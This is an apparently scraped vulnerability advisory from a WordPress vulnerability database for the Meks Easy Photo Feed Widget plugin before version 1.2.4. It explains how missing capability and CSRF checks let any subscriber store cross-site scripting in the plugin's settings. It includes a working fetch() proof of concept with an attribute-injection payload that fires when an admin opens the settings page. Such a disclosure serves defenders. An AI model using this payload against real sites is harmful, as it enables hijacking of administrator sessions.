Lucene search

K
wpvulndbKrzysztof Zajฤ…cWPVDB-ID:011C2519-FD84-4C95-B8B8-23654AF59D70
HistoryNov 10, 2021 - 12:00 a.m.

Meks Easy Photo Feed Widget < 1.2.4 - Subscriber+ Settings Update to Stored XSS

2021-11-1000:00:00
Krzysztof Zajฤ…c
wpscan.com
2

0.001 Low

EPSS

Percentile

24.8%

The plugin does not have capability and CSRF checks in the meks_save_business_selected_account AJAX action, available to any authenticated user, and does not escape some of the settings. As a result, any authenticated user, such as subscriber could update the pluginโ€™s settings and put Cross-Site Scripting payloads in them

PoC

As a subscriber: fetch(โ€œhttps://example.com/wp-admin/admin-ajax.phpโ€, { โ€œheadersโ€: { โ€œcontent-typeโ€: โ€œapplication/x-www-form-urlencodedโ€, }, โ€œbodyโ€: new URLSearchParams({โ€œactionโ€:โ€œmeks_save_business_selected_accountโ€,โ€œaccess_tokenโ€: โ€˜" style=animation-name:rotation onanimationstart=alert(/XSS/) xyz=โ€™}), โ€œmethodโ€: โ€œPOSTโ€, โ€œcredentialsโ€: โ€œincludeโ€ }) .then(response => response.text()) .then(data => console.log(data)); Then the XSS will be triggered when an admin access the pluginโ€™s settings (https://example.com/wp-admin/options-general.php?page=meks-instagram)

CPENameOperatorVersion
meks-easy-instagram-widgetlt1.2.4

0.001 Low

EPSS

Percentile

24.8%

Related for WPVDB-ID:011C2519-FD84-4C95-B8B8-23654AF59D70